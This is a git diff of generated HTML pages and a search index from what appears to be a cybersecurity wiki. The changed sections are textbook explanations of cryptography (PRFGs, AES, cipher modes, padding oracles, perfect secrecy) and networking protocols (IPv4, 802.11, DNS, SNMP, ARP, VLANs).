Pseudorandom Function Generators (PRFGs)

+

Pseudorandom generators produces pseudorandom strings, while pseudorandom function generators (PRFGs) produce pseudorandom functions.

+
+
+

Definition: Pseudorandom Function Generator (PRFG)

+

+
+
+

A pseudorandom function generator (PRFG) is an efficient algorithm which takes a seed and outputs a pseudorandom function whose input is a data block of size and whose output is a string of length .

+
+
+
+
+

Definition Breakdown

+

+
+
+

A pseudorandom function generator takes a seed and produces a pseudorandom function. The resulting function takes input data blocks with the same length as the PRFG's seed and its outputs have length . It is common to notate a PRF that was produced by PRFG as where is the function's name and is the seed used to obtain it.

+
+
+

It is important to remember that the output of a PRFG is a function. Specifically, a PRFG produces a function which takes inputs of the same size as the PRFG's seed. This coincidence has unfortunately led to PRFs and PRFGs commonly being mixed up. It is common to see a PRFG as a two input algorithm that takes a seed and an input data block and acts like a pseudorandom function . In this case, internally obtains the function from the seed and then passes it the data block . Finally, the PRFG returns the output of the function .

+
#![allow(unused)]
+fn main() {
+fn PRFG(seed: str[S], idb: str[S]) -> str[l_out] {
+	let f = get_function_from_seed(seed);
+	return f(idb);
+}
+}
-

Introduction

+

Introduction

Private-key cryptography uses the same secret key for both encryption and decryption. It is important that modern cryptography is usually concerned entirely with the encryption and decryption of binary data, i.e. binary strings. That is why both the message, the key and the encrypted message are represented as binary strings of 1s and 0s.

A private-key encryption scheme has an algorithm for encryption and decryption. The message to be encrypted is called the plaintext and the resulting string after encryption is called the ciphertext.

@@ -5280,7 +5312,7 @@

Introduction<

-

Introduction

+

Introduction

Stream ciphers avail themselves of pseudorandom generators (PRGs) in order to allow for messages with a length arbitrarily larger than the key's. Under the hood, they are nothing more than the One-Time Pad paired with a pseudorandom generator.

@@ -5328,7 +5360,7 @@

Security

However, this means that the adversary can distinguish between a string XOR-ed with the output of the generator and a string XOR-ed with a truly random string which contradicts the security of .

-

Introduction

+

Introduction

Hardware-oriented stream ciphers are designed to be run on dedicated hardware. They typically work on the bit-level, since hardware can be custom-tailored to be more efficient with these operations. Almost all hardware stream ciphers are built upon a concept called feedback shift registers (FSRs).

Feedback Shift Registers

An FSR is comprised of a bit array, called a register, which is equipped with an update feedback function, denoted as , which takes a bit array and produces a single bit based on it. Each update alters the register and produces a single output bit. Given a current register state, , the subsequent state will be this:

@@ -5362,10 +5394,10 @@

Filtered FSRs

Whilst filtered FSRs are stronger than LFSRs, their underlying partial linearity makes them vulnerable to complex attacks such as algebraic attacks, cube attacks, and fast correlation attacks.

-

Introduction

+

Introduction

-

Introduction

+

Introduction

The Advanced Encryption Standard (AES) is an encryption standard which has been ubiquitously adopted due to its security and has been standardised by NIST. It is comprised of three symmetric block ciphers which all take blocks of size 128 bits and output blocks of the same size. AES has three versions depending on the length of the key it can take. These are AES-128, AES-192, and AES-256, for 128-, 192-, and 256-bit keys, respectively. While the different AES versions may use a different length for the initial key, all round keys derived from it will still be the same size as the block - 128 bits.

The key length also determines the number of rounds that each 128-bit block goes through:

@@ -5404,7 +5436,7 @@

Decryption

The InvMixColumns operation is again dropped from the final round.

-

Introduction

+

Introduction

A padding oracle attack abuses padding validation information in order to decrypt an arbitrary message. In order for it to work, it requires a padding oracle. A padding oracle is any system which, given a ciphertext, behaves differently depending on whether the decrypted plaintext has valid padding or not. For the sake of simplicity, you can think of it as a sending an arbitrary ciphertext to a server and it returning "Success" when the corresponding plaintext has valid padding, and spitting out "Failure" otherwise. Note that the ciphertexts you query the oracle with need not have meaningful plaintexts behind them and you will not even be generating them by encryption, but rather crafting them in a custom manner in order to exploit the information from the oracle.

How It Works

Let's remind ourselves of how CBC decryption works by taking a simplified look at the last two blocks:

@@ -5433,7 +5465,7 @@

Note, in the above screenshot the hex is actually the decrypted version of the ciphertext generated by padbuster.

-

Introduction

+

Introduction

A non-conforming message is a message whose length is not evenly divisible by the block size. For example, you might have a message of size 18 bytes and a block size of 16 bytes. In this case, there are two main ways to resolve the issue.

Message Padding

Padding allows for the encryption of messages of arbitrary lengths, even ones which are shorter than a single block. It is used to expand a message in order to fill a complete block by appending bytes to the plaintext and it is a highly standardised procedure.

@@ -5456,7 +5488,7 @@

Ciphe

In CBC mode, ciphertext stealing extends the last incomplete plaintext block by taking bits from the previous ciphertext block, thus splitting the penultimate ciphertext block. Once the last plaintext block is complete, it is encrypted and its ciphertext is placed as the penultimate ciphertext block. Now, the first bits (the ones which were not appended) of the broken ciphertext block are placed at the end as a reduced ciphertext block, meaning that the last ciphertext block has a length less than the block size.

-

Introduction

+

Introduction

It's all well and good with block ciphers when encrypting messages whose length matches the block size, but what happens if we want to encrypt a plaintext that is longer than a single block? Well, here comes the use of a mode of operation. If the message is longer than the block size, then it must be split into blocks of the desired size. From then on, the mode of operation describes how each of the blocks is encrypted and how the resulting ciphertexts are combined into the final output.

The Electronic Codebook (ECB) Mode

This is the simplest mode of operation you could think of. It encrypts each plaintext block independently and then just concatenates the resulting ciphertexts.

@@ -5478,7 +5510,7 @@

The

Decryption works by XOR-ing the ciphertext with the appropriate nonce-counter pair.

A particular benefit of the CTR mode is that it is parallelisable and can thus execute rather quickly. You can even begin encryption before having the message to encrypt by selecting a nonce and computing the nonce-counter stream which will be later XOR-ed with the plaintext.

-

Introduction

+

Introduction

The definition given for a valid private-key encryption scheme specifies what functions can be used for encryption and decryption, but says nothing about how secure those functions should be. For example, the trivial encryption function which simply encrypts a plaintext to itself is a valid private-key encryption function but is far from secure.

Defining what makes a private-key encryption scheme secure is a bit tricky.

Threat Models

@@ -5498,7 +5530,7 @@

Threat Models

If a cipher is secure against one of these threat models, this does not mean that it is secure against all of them.

-

Introduction

+

Introduction

The notion of perfect secrecy exists thanks to the father of information theory - Claude Shannon and provides security against a limited variant of the ciphertext-only attack where the adversary is presented with only a single ciphertext - no more, no less. Shannon realised that for a cipher to be invulnerable to a COA attack, the ciphertext must not reveal anything about the plaintext.

@@ -5603,7 +5635,7 @@

L

The aforementioned relationship between the key and message lengths is just a corollary of this. This is a profound fact which limits the practicality of perfect secrecy. For example, if one wanted to securely transmit a 1 GB file using a perfectly secret encryption scheme, then they would also require a 1 GB key!

-

Introduction

+

Introduction

Perfect Secrecy turns out to be an achievable yet impractical goal because it requires the key to be at least as long as the message to be encrypted which poses huge logistical problems when the message is longer that a few hundred bits (pretty much always). So we seek a relaxed definition for security which allows us to use keys shorter than the message but is still reasonable and as close to perfect secrecy as possible.

Semantic Security

Let's consider again the scenario where we choose one from two plaintexts encrypted with the same, unknown to Eve key and Eve tries to guess which plaintext we chose. Without having the ciphertext of the chosen message, the probability that Eve guesses correctly is . If the cipher used is perfectly secret, then this is true even after Eve sees the ciphertext of the chosen message. However, if the key used is shorter than the message, even by a single bit, then the adversary Eve can first pick a random key and decrypt the ciphertext with it. The probability that she chose the correct key and the decryption resulted in one of the messages or (i.e. Eve now knows which plaintext was used to obtain the ciphertext) is . If Eve did not guess the key correctly and is neither equal to nor , then Eve can, as before, just guess randomly which message was used with probability . This strategy can be implemented by the following algorithm:

@@ -5684,7 +5716,7 @@

Leap of Faith

This algorithm serves only as a proof-of-concept. It is not particularly useful due to the very large ciphertext that it produces - a single bit of the message gets transformed into bits of ciphertext. Nevertheless, it illustrates that it is possible to obtain a cipher with an arbitrary length . Well, there is actually one restriction - the message length must be polynomial in the key-length because the encryption algorithm iterates over the message bit by bit. If its length were not polynomial, then the algorithm would take non-polynomial time to execute and would therefore be inefficient and would not count as a valid private-key encryption scheme.

-

Introduction

+

Introduction

Randomness is the mainstay of modern cryptography. Designing ciphers is no trifling task and it is also important how a cipher's security is achieved. Essentially, an encryption scheme consists of three things - an encryption function, a decryption function and a key. One might think that a good way to ensure the cipher cannot be broken is to simply conceal the encryption and decryption process - after all, if the adversary does not know what they are breaking, how can they break it?

Unfortunately, if the cipher does get broken (and it will by dint of reverse engineering), an entirely different cipher needs to be conceived because the previous one relied on security by obscurity. Quite the predicament, isn't it?

@@ -5857,7 +5889,7 @@

-

Introduction

+

Introduction

Every private-key encryption scheme (yes, even perfectly secret ones) can be broken in the sense that you can find whether a ciphertext corresponds to or simply by trying all possible keys - an approach called a brute force attack.

def BruteForce(ciphertext, plaintext1, plaintext2):
 	for key in [0..2^n - 1]:
@@ -5889,7 +5921,7 @@ 

Introduction<

If the brute force attack could be optimised to run in steps, then it would take only steps to crack a 256-bit key. This can be done on the Frontier supercomputer in a little over 2 years which is not infeasible and can be momentous for military purposes, for example.

-

Introduction

+

Introduction

The One-Time Pad (OTP) or also known as the Vernam Cipher is the most famous (and perhaps the only remotely useful) perfectly secret cipher. It uses a plaintext and a key with the same length and produces a ciphertext also with that length. The mainstay of this cipher is the XOR operation. Encryption simply XORs the key with the plaintext and decryption XORs the ciphertext with the key to retrieve the plaintext.

@@ -5920,7 +5952,7 @@

-

Introduction

+

Introduction

Cryptography facilitates the secure communication between different parties. However, sometimes the meaning of "security" changes. It is often the case that we are not so much concerned with the contents of the message being exposed to an adversary than we are concerned with whether the party sending the message really are who they say and whether or not the message was modified by an adversary somewhere along the way.

@@ -6640,10 +6672,10 @@

Problem Class

Networking

Computer networking refers to the study, management, and organisation of computer networks.

-

Introduction

+

Introduction

-

Introduction

+

Introduction

IPv4 is the most widely used version of the internet protocol and facilitates the delivery of datagrams across an internetwork. Not only does this protocol identify a particular network interface, but it also provides routing which is required when the source and destination lie in different networks.

IP Addressing

Every device which has a network interface used for data transfer at the network layer will have at least one IP address - one for every interface. Additionally, a single interface may have multiple IP addresses if it is multihomed. Lower-level network equipment such as repeaters, bridges and switches don't require IP addresses because they operate solely at layer 2.

@@ -6661,7 +6693,7 @@

IP Addres

The line dividing the two components of an IP address is usually at the border between two octets, but as shown in the above example, that may not be the case.

-

Introduction

+

Introduction

Subnetting is an extension of the classful addressing scheme. It strives to solve some of its problems by introducing a three-level hierarchy. It divides networks into subnets (sub-networks) each of which contains a number of hosts. This gives rise to the two main advantages:

  • Flexibility - each organisation can customise the number of subnets and hosts per subnet to better suit its physical network structure.
  • @@ -6691,7 +6723,7 @@

    -

    Introduction

    +

    Introduction

    This was the original addressing scheme devised for IP which divided the IP address space into classes, each dedicated to specific uses. Certain classes would be devoted to large networks on the Internet, while others would be assigned to smaller organisation, and yet others would be reserved for special purposes. Needless to say, this system has outlived its usefulness due to the huge number of hosts connected to the Internet at present day. Nevertheless, one should still be able to understand it.

    Classes

    There are 5 classes defined for this system and they are outlined in the table below:

    @@ -6730,13 +6762,13 @@

    Problems

  • Low Granularity - a lot of the IP addresses space is wasted because of the existence of only three possible network sizes - classes A, B and C. Suppose an organisation had a network with only 1,000 hosts. It would be assigned an entire class B network (these are two many hosts to fit into a class C network) which would result in the wasting of nearly 64,000 possible IP addresses!
  • -

    Introduction

    +

    Introduction

    This is the contemporary IP addressing scheme, which completely does away with the separation between IP networks into classes. It is particularly flexible because it allows network blocks of arbitrary size, however, it does come with added complexity.

    The premise behind CIDR is to do away with classes entirely and instead let the cusp between the network and host ID vary arbitrarily.

    CIDR ("Slash") Notation

    The dividing line between the Network and Host IDs is specified via the slash notation: x.x.x.x/y where the number after the slash specifies the number of bits that are used for the Network ID.

    -

    Introduction

    +

    Introduction

    Packets at the network layer are referred to as datagrams. The IP protocol takes date from the transport layer and encapsulates it by adding to it an IP header. Once this header is added, the packet becomes an IP datagram. This datagram is then passed onto the data link layer.

    IP Header

    An IP datagram is divided into an IP header and a payload. The latter contains the transport-layer data which was passed to the network layer, while the former contain information about the datagram itself.

    @@ -6891,7 +6923,7 @@

    Datag
    -

    Introduction

    +

    Introduction

    The IEEE 802.11 standard defines the structure of datalink frames in wireless networks. These frames have a more complicated structure than Ethernet ones.

    The existence of the last 6 fields in the MAC header is contingent on the type of the frame.

    @@ -6975,7 +7007,7 @@

    HT Control

    Frame Check Sequence (FCS)

    Similarly to Ethernet, this field is used to verify the integrity of the rest of the frame.

    -

    Introduction

    +

    Introduction

    Management frames render the service of managing the Service Set. They have 3 addresses in their MAC header, which is 24 bytes in size for 802.11a/b/g/, and 28 bytes for 802.11n (additional 4 bytes for the HT Control field). Their type in the Frame Control is indicated by 00. Moreover, management frames are never forwarded to the DS, so they have the FromDS and ToDS bits set to 0 in their Frame Control.

    The source and destination MAC addresses are self-explanatory. The third address is the BSS ID which can either be the MAC of the AP or a wildcard value (for probe requests). If 802.11n is used, there is also an HT Control field in the MAC header. The frame body (payload) is comprised of fixed-size fields and variable-size information elements.

    @@ -7163,7 +7195,7 @@

    Quiet

    The Quiet Offset field is the number of time units after a beacon interval that the silence period is to begin at.

    -

    Introduction

    +

    Introduction

    When 802.11 authentication is complete, the station and AP will move onto to the association phase. The purpose of this exchange is for the station to obtain an Association Identifier (AID). This is achieved by the client sending an Association Request to the AP which then responds with an Association Response.

    After the association phase, a second authentication may occur depending on whether a protocol like WPA is set up.

    @@ -7255,7 +7287,7 @@

    Dis

    The Destination MAC for this type of frame may be the MAC address of the target station/AP, or the broadcast address if the AP needs to disassociate all clients.

    A deassociation frame typically contains only a Reason Code field, although it may be augmented by vendor-specific MFIEs following this reason code. The last element (if present and if it is not the reason code itself) is used with 802.11w.

    -

    Introduction

    +

    Introduction

    The authentication phase follows the discovery phase. Note that this is not the same authentication phase as the one which establishes encryption in WPA2. The latter is built on top of this system, which in turn only pertains to Open System Authentication and Shared-Key Authentication.

    The purpose of this phase is to only check and confirm and the station which wants to join the network matches the capabilities required. Shared-Key Authentication was introduced as an extension to this phase in order to enable WEP encryption.

    It is paramount to note that if more complex authentication, such as that required by WPA, is used, then OSA is used first and any advanced authentication procedures occur after the association phase.

    @@ -7283,7 +7315,7 @@

    A deauthentication frame typically contains only a Reason Code field, although it may be augmented by vendor-specific MFIEs following this reason code. The last element (if present and if it is not the reason code itself) is used with 802.11w.

    -

    Introduction

    +

    Introduction

    Before connecting to a wireless network, a client needs to be aware of its existence and parameters. This can either be achieved in two ways - passive and active scanning.

    Passive scanning is when the client goes through all available channels in turn and listens for beacon frames from the APs in the area. The time spent on each channel is defined by the device's driver.

    Active scanning is when the client sends probe requests to each channel in turn in order to discover what networks are available on it.

    @@ -7424,7 +7456,7 @@

    Pro

-

Introduction

+

Introduction

Before a device can send traffic to an AP it needs to be authenticated and associated with that access point. This is done via a 4-way handshake:

First, the client sends an Authentication Request frame. The AP then returns an Authentication Response. If authentication is allowed by the AP, the client can now send the Association Request, to which the AP will response with an Association Response stating whether or not the association was successful.

@@ -7464,7 +7496,7 @@

-

Introduction

+

Introduction

WPA, WPA2, and WPA3 are consecutive versions of the most-widely used WiFi security standard today. All versions support two authentication modes:

  • Personal Mode - this mode uses a pre-shared key (PSK) for authentication and is commonly referred to as WPA-PSK. This is typically utilised in home and small office networks. The PSK is derived from the WiFi network's password and its SSID, but is actually never sent over the air for security reasons. Instead, it is used for the derivation of other encryption keys.
  • @@ -7474,7 +7506,7 @@

    Introductio

    It was superseded by WPA2 in 2004 which utilises CCMP for encryption and MIC.

    WPA3 is the successor to WPA2 introduced in 2018 and uses GCMP. Furthermore, it now mandates Protected Management Frames (PMF) to protect 802.11 management frames from eavesdropping and forging. Moreover, the 4-way handshake in Personal Mode is protected by Simultaneous Authentication of Equals (SAE) and forward secrecy is used to prevent save-now-decrypt-later attacks of frames.

    -

    Introduction

    +

    Introduction

    Encryption and Message Integrity Checking are paramount to the world of wireless networks, since the radio signals sent by a device are received by every other device in range.

    Message Integrity Checks

    Message integrity checking ensures that a frame has not been tampered with by an adversary - the message sent by a device should be the same message received by the recipient.

    @@ -7505,7 +7537,7 @@

    DNS

    This is a special domain used for reverse DNS lookups. In the in-addr.arpa domain, IP addresses are represented as a sequence of four decimal numbers separated by dots. The suffix of in-addr.arpa is appended to the IP address. In this domain, however, IP address octets are read from right to left, but the contents of the octets are not. For example, in order to do a reverse lookup on 172.217.169.174, you would use 174.169.217.172.in-addr.arpa. This domain is used for reverse lookups on IPv4 addresses.

    For IPv6 addresses, the ip6.arpa domain is used. The address is represented by hex digits in reverse order - each digit looking like a domain name. For example, to do a reverse look up on 2001:db8::567:89ab, you would use b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa.

    -

    Introduction

    +

    Introduction

    Computers connected to the Internet have a numerical identifier - called an Internet Protocol Address (IP Address) - which is used to communicate with this machine. However, remembering a 32-bit number for each computer you want to connect to - even if it's formatted nicely into four separate sections - isn't practical at all. As such, a systematic way of resolving this issue was a created - a sort of lookup table for IP addresses, known as the Domain Name System.

    What is the DNS?

    The Domain Name System (or DNS for short) is a decentrialised database which provides answers to queries for domain names. Such a query is for example "What is the IP address of google.com? " When such a request is sent out, it will go through the DNS and eventually return with an IP address (if such was found). This saves the average user from having to remember a myriad different IPs for each website they want to visit.

    @@ -7536,7 +7568,7 @@

    DNS

-

Introduction

+

Introduction

SNMP is a protocol which renders the service of providing monitoring of devices connected to a network. It can provide information such as online status, network bandwith, and even temperature.

This protocol works over UDP on port 161.

Agents

@@ -7564,7 +7596,7 @@

TrapCommunity strings

SNMP versions 1 and 2 avail themselves of the so-called community strings. It is important to know that agents reply to SNMP requests only if they are accompanied by the appropriate community string, which is akin to a password. Every community string is associated with a set of permissions. These can be either read-only or read-write.

-

Introduction

+

Introduction

The Leightweight Directory Access Protocol (LDAP) is a protocol used to facilitate the communication with directory services such as OpenLDAP or Active Directory. These act as repositories for user information by storing credentials, users, groups, etc. Because of this, LDAP can also be used for the authentication and authorisation of users.

What makes LDAP easy to use is that it operates with its data in a plain text format called the LDAP Data Interchange Format (LDIF).

This protocol works on TCP port 389. Its secure variation (LDAPS) runs on TCP port 636 and establishes a TLS/SSL connection.

@@ -7640,7 +7672,7 @@

Compari

The Server Message Block (SMB) protocol allows for the sharing of resources such as files or printers between machines on a LAN. It is a request-response protocol and the resource sharing occurs by dint of the so-called "shares". A share is what facilitates remote access to a directory. Shares may provide read-only or read-write access to the underlying directory depending on the configuration set.

-

Introduction

+

Introduction

The Network Time Protocol (NTP) is a protocol for clock synchronisation across computer systems. Its existence is paramount in order to pinpoint events occurring at a certain moment within a network. Devices with unsynchronised clocks will report that the event transpired at different times thus making it very difficult to figure out the actual time of occurrence.

This protocol works over UDP on port 123.

How does NTP work?

@@ -7660,7 +7692,7 @@

That's quite the difference!

-

Introduction

+

Introduction

The File Transfer Protocol (FTP) is an application layer protocol which allows for the sharing of files within a network. It uses TCP as its underlying transport-layer protocol and follows a typical client-server model where the FTP client is typically called the user.

Operational Model

Unlike most other TCP-based protocols, FTP utilises more than a single connection. When a user connects to a server, an FTP control connection is opened. Afterwards, data connections are established for every subsequent data transfer. The control connection is utilised for passing commands from the user to the server as well the command response from the server back to the client. A data connection is terminated once the file transfer it was established for is complete.

@@ -7784,7 +7816,7 @@

Replies

The third digit is what indicates the specific message type. Each functional group can have 10 different reply codes for each reply type given by the first digit.

-

Introduction

+

Introduction

The Address Resolution Protocol (ARP) serves a method for converting between layer 3 (IP) and layer 2 (MAC) addresses. Whilst applications communicate logically at layer 3, the actual data is transmitted via layers 1 and 2 and so even if the application only knows the destination's IP address, in order for communication to take place, the destination's MAC address is also required.

This is where ARP comes in. However, its naming convention is a bit confusing. The Source is always the device which seeks another host's hardware address, whilst the Destination is always the host whose MAC address is being sought.

How does ARP work?

@@ -7833,7 +7865,7 @@

ARP Mes

The Target Protocol Address (TPA) is the Layer 3 address of the sought device.

ARP Caching

-

Introduction

+

Introduction

The Ethernet protocol defines how data moves in wired LANs. Its packets are referred to as Ethernet frames.

An Ethernet frame looks like the following:

@@ -7870,7 +7902,7 @@

802.1

The TPID is constant and always has the value of 0x8100. It is typically located where the type/length field would and is what identifies the frame as a 802.1Q-tagged frame.

The TCI is further subdivided into 3 fields. The Priority Code Point (PCP) is 3 bits in length and is utilised for Class of Service (CoS) which assigns different priority to traffic in congested networks. Following is the 1-bit Drop Eligible Indicator (DEI) and it specifies whether or not the frame is allowed to be dropped if the network is congested. The last 12 bits are the VLAN ID (VID) which actually identifies the VLAN that the frame pertains to.

-

Introduction

+

Introduction

A computer network is a network which allows for the exchange of resources and information between devies connected to the network. These device span a range of types, sizes, and functions.

Network Devices

Switch

@@ -7899,7 +7931,7 @@

The TCP/IP Su

Similarly to the OSI model, the TCP/IP Suite is another conceptual networking model. Its names stems from two of the main protocols it is based on - TCP and IP - and was developed by the United States Department of Defence through a programme called DARPA. Its structure resembles that of the OSI model but has fewer layers. While this is the model used in modern networks, OSI still has a large influence on how networks are perceived and developed and most layer terminology actually refers to OSI, since there is an equivalence between OSI's layers and the layers of the TCP/IP Suite.

-

Introduction

+

Introduction

The Physical layer is the lowest layer in the OSI model. It provides the electrical, mechanical, or electromagnetic means by which data is physically transferred between hosts. At the core of the Physical layer lie interfaces and mediums. Interfaces are what allow devices to send receive data, while mediums are what the data travels through between interfaces. Data at the physical layer is transmitted in bits, not bytes, hence why internet speeds are typically measured in multiples of bits per seconds or bps.

Mediums

Copper (UTP) Cables

@@ -8000,7 +8032,7 @@

Workgroup B

Outdoor Bridge

An outdoor bridge is used to connect networks over large distances without a physical cable. This is achieved by APs with special directional antennas.

-

Introduction

+

Introduction

There are two major standards which govern how data is transmitted at the datalink layer. The first on is a protocol called Ethernet and it describes the transfer of data in wired LANs. It is defined in the IEEE 802.3 standard.

The second one is the IEEE 802.11 WLAN standard and it describes how data is transferred in wireless networks over WiFi.

MAC Addresses

@@ -8010,7 +8042,7 @@

MAC Addresses

Network Address Translation

-

Introduction

+

Introduction

Subnetting is a way to logically divide a network into smaller subnetworks. The devices that belong to the same subnet are identified by identical most-significant bits in their local IP addresses.

A local IP address is divided into two parts - the network number (routing prefix) and the host identifier (rest field). The former is what identifies the network that the IP address belongs to and is shared by devices in the same subnet. The rest field identifies the actual host on the network.

Every IPv4 address is 32 bits in length, however, the size of the network number and the host identifier is variable and is defined for each subnet by the subnet mask. The subnet mask also takes the form of an IPv4 address which is read entirely left to right. Essentially, the bits from the subnet mask that are set to 1 indicate the bits from the IP address are the network number. The bits in the subnet mask that are set to 0 indicate the bits from the IP address which represent the host identifier.

@@ -8024,7 +8056,7 @@

Introductio

To get the IP notation for the subnet mask, simply replace x with the value from the column which pertains to the chosen CIDR notation.

You might notice the existence of /31 and /32 subnets. The rule for subtracting 2 from the number of hosts isn't applied since these networks are too small to require a broadcast address. Typically, a /31 subnet is used in a point-to-point network (usually between two routers).

-

Introduction

+

Introduction

Virtual LANs provide the means for logically separating a LAN at Layer 2 and can be thought of as the Layer 2 counterpart to the Layer 3 subnets. The reasons to do this are typically bandwidth- and security-related and have to do with broadcast frames.

Imagine the following LAN, without VLANs configured:

diff --git a/docs/searchindex.js b/docs/searchindex.js index 3ff12d01..9526002d 100644 --- a/docs/searchindex.js +++ b/docs/searchindex.js @@ -1 +1 @@ -Object.assign(window.search, {"doc_urls":["Cyberclopaedia/index.html","Cyberclopaedia/Contributing.html#overview","Cyberclopaedia/Contributing.html#in-scope","Cyberclopaedia/Contributing.html#out-of-scope","Cyberclopaedia/Contributing.html#structure","Cyberclopaedia/Contributing.html#naming","Cyberclopaedia/Contributing.html#folder-organisation","Cyberclopaedia/Contributing.html#page-structure","Cyberclopaedia/Contributing.html#toolchain","Cyberclopaedia/Contributing.html#licensing","Cyberclopaedia/License.html","Reconnaissance/index.html#introduction","Reconnaissance/Enumeration/index.html#overview","Reconnaissance/Enumeration/index.html#types-of-scanning","Reconnaissance/Enumeration/index.html#port-scanning","Reconnaissance/Enumeration/index.html#network-scanning","Reconnaissance/Enumeration/index.html#vulnerability-scanning","Reconnaissance/Enumeration/nmap/index.html#introduction","Reconnaissance/Enumeration/nmap/index.html#syntax","Reconnaissance/Enumeration/nmap/index.html#port-states","Reconnaissance/Enumeration/nmap/TCP SYN & TCP Connect scans.html#tcp-syn-scan","Reconnaissance/Enumeration/nmap/TCP SYN & TCP Connect scans.html#tcp-connect-scan","Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html#overview","Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html#null-scan","Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html#fin-scan","Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html#xmas-scan","Reconnaissance/Enumeration/DNS Server Enumeration (53).html#enumerating-bind-servers-with-chaos","Reconnaissance/Enumeration/DNS Server Enumeration (53).html#dns-zone-transfer","Reconnaissance/Enumeration/FTP Enumeration (21).html#introduction","Reconnaissance/Enumeration/SNMP Enumeration (161).html#introduction","Reconnaissance/Enumeration/SNMP Enumeration (161).html#snmp-enumeration-using-snmp-check","Reconnaissance/Enumeration/SNMP Enumeration (161).html#snmp-enumeration-using-snmpwalk","Reconnaissance/Enumeration/SNMP Enumeration (161).html#bruteforce-community-strings-with-onesixtyone","Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html#introduction","Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html#sniffing-clear-text-credentials","Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html#credentials-validation","Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html#enumerating-the-database","Reconnaissance/OSINT/index.html#what-are-you-looking-for","Reconnaissance/OSINT/index.html#where-can-you-find-this-information","Reconnaissance/OSINT/Tools/index.html","Reconnaissance/OSINT/Tools/theHarvester.html#what-is-theharvester","Reconnaissance/OSINT/Tools/theHarvester.html#email-and-subdomain-harvesting","Reconnaissance/OSINT/Tools/recon-ng.html#what-is-recon-ng","Reconnaissance/OSINT/Tools/recon-ng.html#setup","Reconnaissance/OSINT/Tools/recon-ng.html#workflow","Reconnaissance/OSINT/Tools/recon-ng.html#modules","Reconnaissance/OSINT/Tools/recon-ng.html#profiler","Reconnaissance/OSINT/Domain Name Enumeration.html#using-whois-for-gathering-domain-name-and-ip-address-information","Reconnaissance/OSINT/Domain Name Enumeration.html#using-host-for-quick-lookups","Reconnaissance/OSINT/Domain Name Enumeration.html#querying-name-servers-with-dig","Reconnaissance/OSINT/Harvesting E-Mails.html#grabbing-e-mails-from-google-using-goog-mailpy","Reconnaissance/OSINT/Harvesting E-Mails.html#other-tools","Reconnaissance/OSINT/Instagram User Enumeration.html","Reconnaissance/OSINT/Google Dorks.html#introduction","Reconnaissance/OSINT/Google Dorks.html#common-operators","Exploitation/index.html#exploitation","Exploitation/Binary Exploitation/index.html#binary-exploitation","Exploitation/Binary Exploitation/Heap Exploitation/index.html#heap-exploitation","Exploitation/Binary Exploitation/Heap Exploitation/Use After Free (UAF).html#introduction","Exploitation/Binary Exploitation/Heap Exploitation/Use After Free (UAF).html#example","Exploitation/Binary Exploitation/Stack Exploitation/index.html#stack-exploitation","Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html#introduction","Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html#the-essence-of-a-format-string-vulnerability","Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html#leaking-memory","Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html#writing-arbitrary-memory","Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html#stack-canaries","Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html#bypassing-canaries","Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html#leaking-the-canary","Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html#bruteforcing-the-canary","Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html#introduction","Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html#theory","Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html#exploitation","Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html#introduction","Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html#gadgets","Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html#exploitation","Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html#exploiting-with-pwntools","Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html#pwntools-rop-commands","Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html#the-exploit","Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html#sigreturn-oriented-programming-srop","Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html#the-signal-frame","Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html#the-exploit","Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html#introduction","Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html#exploiting-a-buffer-overflow","Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html#using-de-brujin-sequences-to-identify-the-offset","Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html#finding-the-address-of-win","Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html#exploit","Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html#shellcode-attacks","Exploitation/Web/index.html#web","Exploitation/Web/SQL Injection/index.html#sql-injection","Exploitation/Web/SQL Injection/Finding SQLi.html#introduction","Exploitation/Web/SQL Injection/Defences.html#network-layer-defences","Exploitation/Web/SQL Injection/Defences.html#application-layer-defences","Exploitation/Web/SQL Injection/Defences.html#database-layer-defences","Exploitation/Web/SQL Injection/Introduction.html#overview","Exploitation/Web/SQL Injection/Introduction.html#types-of-sqli","Exploitation/Web/SQL Injection/Union injections.html#introduction","Exploitation/Web/SQL Injection/Union injections.html#determining-the-amount-of-columns-returned","Exploitation/Web/SQL Injection/Union injections.html#searching-for-columns-which-return-entries-of-a-particular-type","Exploitation/Web/SQL 